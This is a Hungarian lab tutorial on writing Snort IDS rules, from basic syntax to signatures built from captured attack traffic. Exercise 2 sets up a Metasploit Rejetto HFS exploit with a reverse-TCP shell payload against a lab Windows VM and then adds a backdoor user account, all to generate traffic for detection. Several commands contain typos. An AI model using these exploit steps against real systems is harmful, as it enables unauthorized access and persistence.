Ebben a gyakorlatsorozatban a Snort-szabályok írásának különböző technikáit mutatjuk be, az alapvető szabályszintaxistól kezdve az egyes támadásfajták észlelésére irányuló szabályok megírásáig. A szabályok teljesítményelemzésének és optimalizálásának néhány alapvető megközelítését is megvizsgáljuk.

1. gyakorlat: A Snort mint IDS

A Snort leginkább IDS-ként ismert. A snort.org weboldalról:

“A Snort® egy nyílt forráskódú hálózati behatolásmegelőző és -felderítő rendszer (IDS/IPS), amelyet a Sourcefire fejlesztett ki. Az aláírás-, protokoll- és anomália-alapú ellenőrzés előnyeit ötvöző Snort a világszerte legszélesebb körben alkalmazott IDS/IPS technológia. Több millió letöltéssel és közel 400 000 regisztrált felhasználóval a Snort az IPS de facto szabványává vált.”

Meg kell említeni azt is, hogy a Sourcefire-t 2013. október elején felvásárolta a Cisco.

A Snort alapvetően három különböző üzemmódban futhat: IDS módban, naplózási módban és szimatoló módban. A Snortot a labor ezen részében IDS módban fogjuk használni, majd később csomagnaplózóként fogjuk használni. Ehhez a laborhoz az Ubuntu Server VM-et, a Windows Server 2012 R2 VM-et és a Kali Linux VM-et fogjuk használni.

A Snort 2.9.8-as verziója van telepítve az Ubuntu Server VM-re. Indítsa el az Ubuntu Server VM-et, jelentkezzen be az útmutató elején megadott hitelesítő adatokkal, és nyisson meg egy terminálhéjat az asztali parancsikonra való dupla kattintással. (Alternatív megoldásként megnyomhatja a Ctrl+Alt+T billentyűkombinációt egy új shell megnyitásához.)

A Snort verziójának ellenőrzéséhez írja be a snort -V parancsot, majd nyomja le az Enter billentyűt.

A következőkben konfigurálnunk kell a HOME_NET értéket: a hálózatot, amelyet védeni fogunk. Először is írja be az ifconfig parancsot a terminálhéjban, hogy megnézze a hálózati konfigurációt. Jegyezze meg az IP-címet és a hálózati interfész értékét. Lásd az alábbi képet (az Ön IP címe eltérő lehet).

Ezután írja be a következő parancsot a snort konfigurációs fájl megnyitásához a gedit szövegszerkesztőben:

sudo gedit /etc/snort/snort.conf

Adja meg az Ubuntu Server jelszavát. Amikor megnyílik a snort.conf fájl, görgessen lefelé, amíg meg nem találja az ipvar HOME_NET beállítást. Az IP-címet a tényleges C osztályú alhálózatra kell módosítania. Jelenleg ez a 192.168.132.0/24 kell, hogy legyen. Egyszerűen csak az IP-cím részt kell megváltoztatnia az Ubuntu Server VM IP-jének megfelelően, ügyelve arra, hogy a “.0/24″ a végén maradjon.

A felső sávból válassza a Mentés lehetőséget, és zárja be a fájlt. Ezen a ponton a Snort készen áll a futtatásra. Kivéve, hogy nincsenek betöltve szabályok. Az ellenőrzéshez futtassa a következő parancsot:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Itt azt mondjuk a Snortnak, hogy tesztelje (-T) a konfigurációs fájlt (a -c a helyére mutat) az eth0 interfészen (adja meg az interfész értékét, ha az más). Ez rengeteg kimenetet fog produkálni. Görgessünk felfelé, amíg nem látjuk a “0 Snort rules read” (lásd az alábbi képet).

Menjünk végig a szabály szintaxisán:

Rule headers

  • alert – Rule action. A Snort riasztást generál, ha a beállított feltétel teljesül.
  • any – Forrás IP. A Snort minden forrást megvizsgál.
  • any – Forrás port. A Snort minden portot megvizsgál.
  • -> – Irány. A forrástól a célállomásig.
  • $HOME_NET – Cél IP címe. A HOME_NET értéket használjuk a snort.conf fájlból.
  • any – Célport. A Snort a védett hálózat összes portját megnézi.

Szabály opciók:

  • msg: “ICMP test” – A Snort ezt az üzenetet a riasztáshoz csatolja.
  • sid:1000001 – Snort szabály azonosítója. Ne feledje, hogy az 1,000,000-nél kisebb számok foglaltak; ezért kezdjük az 1,000,001-gyel. (Bármilyen számot használhat, amíg nagyobb, mint 1,000,000.)
  • rev:1 – Revíziós szám. Ez az opció a szabályok könnyebb karbantartását teszi lehetővé.
  • classtype:icmp-event – A szabályt “icmp-event”-ként, a Snort egyik előre definiált kategóriájaként kategorizálja. Ez az opció segít a szabályszervezésben.

Kattintson a Mentés gombra, és zárja be a fájlt. Most futtassuk le újra a Snort konfigurációs tesztparancsot:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Ha felfelé görgetünk, látnunk kell, hogy egy szabály betöltődött.

Most indítsuk el a Snortot IDS módban, és mondjuk meg neki, hogy a konzolon jelenítse meg a figyelmeztetéseket:

sudo snort -A console -q -c /etc/snort/snort/snort.conf -i eht0

Még egyszer rámutatunk a Snortnak a használandó konfigurációs fájlra (-c) és megadjuk az interfészt (-i eth0). A -A console opció a riasztásokat a standard kimenetre írja ki, a -q pedig a “csendes” üzemmódra vonatkozik (nem jeleníti meg a bannert és az állapotjelentést). A parancs megadásakor nem láthat semmilyen kimenetet, mivel a Snort nem észlelt semmilyen, az általunk írt szabályban megadott tevékenységet.

Gyűjtsünk némi aktivitást, és nézzük meg, hogy működik-e a szabályunk.

Indítsuk el a Kali Linux VM-et. Előfordulhat, hogy a hitelesítő adatok megadása után be kell írnia a startx-et, hogy elérje a felhasználói felületet. Ha már ott van, nyisson meg egy terminálhéjat a felső menüsorban lévő ikonra kattintva.

Most kezdje el pingelni az Ubuntu szerverét a következő paranccsal (használja az Ubuntu szerver IP címét a .x helyett.x):

ping 192.168.x.x.x

Hagyja futni néhány másodpercig, majd a Ctrl+C billentyűkombinációval állítsa le és térjen vissza a prompthoz.

Most térjen vissza a Snort IDS-t futtató Ubuntu szerverére. Látnia kell, hogy minden ICMP Echo request és Echo reply üzenetre riasztások keletkeznek, az msg opcióban megadott üzenetszöveggel:

A riasztást generáló tevékenységért felelős állomás forrás IP-címét is láthatjuk. A fenti példában ez a 192.168.132.133; a tiéd lehet, hogy más (de ez lesz a Kali Linux VM-ed IP címe). A tesztszabályunk működik! Nyomjuk le a Ctrl+C billentyűkombinációt a Snort leállításához és a prompthoz való visszatéréshez.

Most írjunk egy másik szabályt, ezúttal egy kicsit specifikusabbat. Nyissuk meg a local.rules fájlunkat egy szövegszerkesztővel:

sudo gedit /etc/snort/rules/local.rules

Először is kommentáljuk ki az első szabályunkat. Tegyünk elé egy fontjelet (#). Egy új sorba írjuk a következő szabályt (a Kali Linux IP-jét használva x.x-nek):

alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: “FTP connection attempt”; sid:1000002; rev:1;)

Itt megváltoztattuk a protokollt TCP-re, konkrét forrás IP-t használtunk, a célport számát 21-re állítottuk (az FTP-kapcsolatok alapértelmezett portja) és megváltoztattuk a figyelmeztető üzenet szövegét. Mentsük el és zárjuk be a fájlt. Most futtassuk újra a Snortot IDS módban, de ezúttal adjunk hozzá még egy opciót, a következőképpen:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii

Megmondjuk a Snortnak, hogy a generált riasztásokat ASCII formátumban naplózza az alapértelmezett pcap helyett. Miután a Snort fut (ismétlem, nem fogsz azonnal látni semmilyen kimenetet), menj a Kali Linux VM-edre, és add be a következő parancsot egy terminálhéjban (az Ubuntu Server IP-címét használva):

ftp 192.168.x.x

Menj vissza az Ubuntu Serverre. Látnia kell, hogy egy riasztás generálódott.

Hogy megbizonyosodjon arról, hogy a szabály nem generál téves riasztásokat, nyisson egy másik terminálhéjat az Ubuntu Server VM-en, és próbáljon meg csatlakozni ugyanahhoz az FTP-kiszolgálóhoz. Nem szabad, hogy új riasztásokat lásson. Nyomja le a Ctrl+C billentyűkombinációt a Snort leállításához.

Most futtassa a következő parancsot a Snort naplókönyvtárának listázásához:

ls /var/log/snort

Az alábbi képhez hasonlót kell látnia:

A snort.log.* fájl (több is lehet, ha korábban egynél több riasztást generáló tevékenységet generált) a .pcap naplófájl. Szövegszerkesztővel nem olvasható. A látható IP-cím (a tiéd más lesz, mint a képen) a forrás IP-címe a riasztásnak, amit az imént láttunk az FTP-szabályunkhoz. Ez egy könyvtár. Nézzük meg, mi van benne:

sudo ls /var/log/snort/192.168.x.x.x

Láthatjuk, hogy van ott egy fájl, amelyet a protokoll (TCP) és a tevékenységben részt vevő portszámok után neveztek el. Ezt a fájlt elolvashatjuk egy szövegszerkesztővel vagy egyszerűen a cat paranccsal:

sudo cat /var/log/snort/192.168.x.x.x/TCP:4561-21

Azt az információt kapjuk, amit a konzol kimenetén láttunk, néhány további részlettel kiegészítve.

Hogyan állunk a .pcap fájlokkal? Ezeket a Wireshark, egy népszerű hálózati protokollelemző program segítségével vizsgálhatjuk meg. A program indításához írjuk be a sudo wireshark parancsot. A felbukkanó hiba/figyelmeztető üzenetek nyugtázásához kattintson az OK gombra. A Wireshark főablakában a Fájl → Megnyitás menüpontra lépünk.

Böngésszünk a /var/log/snort könyvtárba, válasszuk ki a snort.log.* fájlt, és kattintsunk a Megnyitás gombra.

Sok további információ itt! Kattintson a középső ablaktábla bármelyik elemének kibontásához. Most már megnézhetjük az egyes csomagok tartalmát.

Zárja be a Wiresharkot. A laborok során sokat fogjuk használni.

A következő szabályunkhoz írjunk egyet, amely a protokollok, IP-k és portszámok mellett némi tartalmat is keres. Először is létre kell hoznunk néhány olyan tevékenységet, amely biztosítja számunkra a szabályhoz szükséges tartalmat.

Indítsa el a Windows Server 2012 R2 VM-et, és jelentkezzen be az útmutató elején megadott hitelesítő adatokkal. Ezen a VM-en fut egy FTP-kiszolgáló. Először is derítse ki a Windows Server 2102 R2 VM IP-címét. Ezt úgy teheti meg, hogy megnyitja a parancssort az asztali parancsikonról, és beírja az ipconfig.

Nézze meg az “IPv4 Address” értékét (a sajátja eltérhet a képen láthatótól). Most menjen vissza az Ubuntu Server VM-hez, és írja be az ftp 192.168.x.x-et (az imént megkeresett IP-címet használva). Amikor a név és jelszó megadására kérdeznek, csak nyomd meg az Entert. Vizsgálja meg a kimenetet.

Amint láthatjuk, az érvénytelen hitelesítő adatok megadása a “Login or password incorrect” üzenethez vezet. Most már elegendő információval rendelkezünk a szabályunk megírásához. Az FTP-ből való kilépéshez és a prompthoz való visszatéréshez írja be a quit billentyűt. Nyissuk meg újra a local.rules fájlunkat:

sudo gedit /etc/snort/rules/local.rules

Mivel sokat fogunk dolgozni ezzel a fájlal, hagyjuk nyitva, és indítsunk el egy új terminálhéjat a parancsok beviteléhez.

Adjuk hozzá a következő szabályt az új sorhoz:

alert tcp $HOME_NET 21 -> any any (msg: “FTP failed login”; content: “Login or password incorrect”; sid:1000003; rev:1;)

Megjegyezzük, hogy most a HOME_NET értéket állítottuk be forrás IP-nek, mert a kimenő FTP szerver válaszait fogjuk keresni. Mentse el a fájlt. Most teszteljük a szabályt. Indítsuk el a Snortot IDS módban:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Most menjünk a Kali Linux VM-ünkbe, és próbáljunk meg csatlakozni a Windows Server 2012 R2 FTP szerverhez (ftp 192.168.x.x.x), megadva a Name és Password értékeket. A quit billentyűvel térjen vissza a prompthoz. Menjen vissza az Ubuntu Server VM-re. Látnia kell, hogy a Snortba betöltött mindkét aktív szabály által generált számos riasztást. Nyomja le a CTRL+C billentyűkombinációt a Snort leállításához.

2. gyakorlat: A Snort mint csomagnaplózó

A mai gyorsan változó támadási környezet és vektorok miatt lehet, hogy nem is tudjuk, mit kellene keresnünk, amíg nem láttuk a támadást. Akkor talán a forgalom vizsgálata után létrehozhatunk egy szabályt az adott “új” támadásra. Pontosan így jönnek létre az alapértelmezett, nyilvánosan elérhető Snort szabályok. Most futtassuk a Snortot naplózási üzemmódban, és nézzük meg, hogy mit tudunk azonosítani a forgalomból az általunk végzett támadások alapján.

Ebben a gyakorlatban szimulálni fogunk egy támadást a Windows Serverünk ellen, miközben a Snortot csomagnaplózási üzemmódban futtatjuk. Ezután megvizsgáljuk a naplózott csomagokat, hogy lássuk, tudunk-e azonosítani egy támadási aláírást.

Győződjünk meg róla, hogy mindhárom VM (Ubuntu Server, Windows Server és Kali Linux) fut. A Kali Linux VM-en írja be a következőt egy terminálhéjba:

msfconsole

Ez elindítja a Metasploit Framework-et, egy népszerű penetrációs tesztelési platformot. A betöltés néhány másodpercet vesz igénybe. Ne törődjön az adatbázis-kapcsolat hibájával. Várjon, amíg megjelenik az msf> prompt. Ha ott van, írja be a következő parancssort:

use exploit/windows/http/rejetto_hfs_exec

set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.x.x (Kali Linux VM IP címe)

set RHOST 192.168.x.x (Windows Server 2012 R2 VM IP-címe)

set RPORT 8081

Itt egy exploitot konfiguráltunk a Windows Server 2012 R2 VM-en futó Rejetto HFS HTTP fájlkiszolgáló sebezhető verziója ellen.

Az exploit futtatása előtt el kell indítanunk a Snortot csomagnaplózási módban. Menjünk az Ubuntu Server VM-ünkre, és adjuk meg a következő parancsot egy terminálhéjban:

sudo snort -dev -q -l /var/log/snort -i eth0

Nem fogunk látni semmilyen kimenetet. Most menj vissza a Kali Linux VM-en konfigurált msf exploithoz, és írd be az exploitot. Ha az exploit sikeres volt, akkor egy parancshéjjal kell végeznünk:

Most, hogy hozzáférünk a rendszerhez, tegyük a következőket:

Hozzunk létre egy új felhasználói fiókot:

net user accountname P@ssword12 /ADD

Változtassuk meg a könyvtárakat c-re:

cd

Készítsünk egy új könyvtárat, amely a mi nevünk.

mkdir yourname

Most nyomja meg a Ctrl+C billentyűkombinációt, és válaszoljon y-val az “igen”-re, hogy lezárja a parancsértelmező héjhoz való hozzáférést.

Következő lépésként menjen az Ubuntu Server VM-hez, és nyomja meg a Ctrl+C billentyűkombinációt a Snort leállításához. Írja be a sudo wireshark parancsot a terminálhéjba. A Wiresharkban lépjen a Fájl → Megnyitás menüpontra, és keresse meg a /var/log/snort állományt. Ezen a ponton több snort.log.* fájlunk is lesz ott. Válasszuk ki a legutóbb módosítottat, és kattintsunk a Megnyitás gombra.

Elég sok csomagot kell látnunk, amit rögzítettünk.

Meg kell találnunk azokat, amelyek a szimulált támadásunkhoz kapcsolódnak. A Wiresharkban válasszuk a Szerkesztés → Csomagkeresés menüpontot. A megjelenő párbeszédpanelen jelölje be a String rádiógombot. Ezután válassza a Packet Bytes (Csomagbájtok) elemet a Search In (Keresési feltételek) feltételeknek. Ezután a keresési karakterlánchoz írja be a létrehozott felhasználónevet.

Mihelyt beállította a keresési párbeszédpanelt, kattintson a Keresés gombra. A keresésnek meg kell találnia azt a csomagot, amely tartalmazza a keresett karakterláncot. Menjen tovább, és válassza ki ezt a csomagot. Ez lesz a sötét narancssárga színű. Kattintson rá a jobb gombbal, és válassza a Follow TCP Stream parancsot.

Ez a művelet megmutatja az összes olyan parancsot, amelyet az adott TCP-munkamenetben adtak meg. Ez magában foglalja a fiók létrehozását, valamint a többi műveletet is.

Az eredmények ellenőrzése után zárja be a stream ablakot. Ezzel vissza kell térnie az elején kiválasztott csomaghoz. Most nyomja meg a felfelé mutató nyilat, amíg a hexdump ASCII része a “C:UsersAdministratorDesktophfs2.3b>” feliratot mutatja az alsó ablakban. Lásd alább:

A fenti ábrán figyelje meg a kijelölt részt. Ezt a tartalmat egy olyan riasztás létrehozására fogjuk használni, amely tudatja velünk, ha a Rejetto HFS exploit eredményeként egy parancshéj küldésére kerül sor egy másik állomáson. Minimalizálja a Wireshark ablakot (még ne zárja be).

3. gyakorlat: Egyéni szabály létrehozása a naplózott forgalomból

Egy riasztást szeretnénk megjeleníteni, amikor a Snort meglátja a “C:UsersAdministratorDesktophfs2.3b>”. Menjünk a local.rules fájlunkhoz (ha bezártuk, nyissuk meg újra root-ként, ugyanazzal a paranccsal, mint korábban), és adjuk hozzá a következő szabályt egy új sorban (figyeljük meg, hogy az összes backslashes-t kikerüljük, hogy biztosan szerepeljenek a tartalomban):

alert tcp $HOME_NET any -> any any (msg: “Command Shell Access”; content: “C:UsersAdministratorDesktophfs2.3b”; sid:1000004; rev:1;)

Mentsd el a fájlt. Futtassa újra a Snortot IDS módban:

sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

Most menjen vissza a Kali Linux VM-hez. Még mindig a rejetto exploit promptjánál kell lennie. Csak írd be az exploitot, hogy újra futtasd. Várjon, amíg parancsértelmező shell hozzáférést kap, és térjen vissza a Snort terminálhoz az Ubuntu szerveren. Látnia kell, hogy riasztások generálódtak az új szabályunk alapján:

Nyomja le a Ctrl+C billentyűkombinációt a Kali Linux terminálon, és írja be az y-t a parancsértelmező héjból való kilépéshez. Ezután nyomja le a Ctrl+C billentyűkombinációt az Ubuntu Server terminálon a Snort leállításához.

Ebben az esetben van néhány ember által olvasható tartalmunk, amelyet felhasználhatunk a szabályunkban. De ez nem mindig van így.

Módosítsuk a szabályunkat úgy, hogy olyan tartalmat keressen, amely hexa formátumban van ábrázolva. Először is, a local.rules fájlunkban másoljuk ki a legutóbbi szabályunkat, és illesszük be az alábbi új sorba. Most kommentáljuk ki a régi szabályt, és változtassuk meg az új szabály “rev” értékét “2”-re. Lásd alább.

Nyissuk meg újra a Wireshark ablakot a felvételünkkel, ugyanazt a hasznos terhelési részt kiválasztva. Sajnos a Wireshark főablakából közvetlenül nem lehet hexaértékeket másolni, de van egy egyszerű megoldás, ami nekünk is megfelel. A szükséges tartalom kijelölésével kattintsunk a jobb gombbal a felső ablakban a megfelelő (kiemelt) csomagra vagy a középső ablakban a kiemelt “Data:” bejegyzésre, és válasszuk a Copy → Bytes → Offset Hex lehetőséget. Lásd alább.

Most a local.rules fájlunkban jelöljük ki a tartalmi argumentumot (mindent, ami az idézőjelek között van) az új szabályunkban, majd kattintsunk a jobb gombbal, és válasszuk a Beillesztés parancsot. Most óvatosan távolítsunk el minden extra szóközt, sortörést és így tovább, és csak a szükséges hexaértékeket hagyjuk meg. Ezután tegyük a pipaszimbólumokat (|) mindkét oldalra. A kész szabályunknak úgy kell kinéznie, mint az alábbi képen.

Mentsük el a fájlt. Indítsa el a Snortot IDS módban. Ezután menjen a Kali Linux VM-hez, és futtassa újra az exploitot. Várjon, amíg a parancsértelmező héjba kerül, és nézze meg a Snort kimenetét. Látnia kell a generált riasztásokat.

Ezúttal négy helyett két riasztást látunk, mivel a “>” szimbólum hexa alakú ábrázolását is belevettük a tartalomba, így a szabály specifikusabbá vált.

Nyomja meg a Ctrl+C billentyűkombinációt a Snort leállításához. Ezután a Kali Linux VM-en nyomja meg a Ctrl+C billentyűkombinációt, és írja be az y-t a parancsértelmezőből való kilépéshez. Írja be az exit billentyűt, hogy visszatérjen a normál parancssorba.

Ez csak néhány a Snort-szabályok írásának alapjai közül. Később megnézünk néhány fejlettebb technikát.

Vélemény, hozzászólás?

Az e-mail-címet nem tesszük közzé.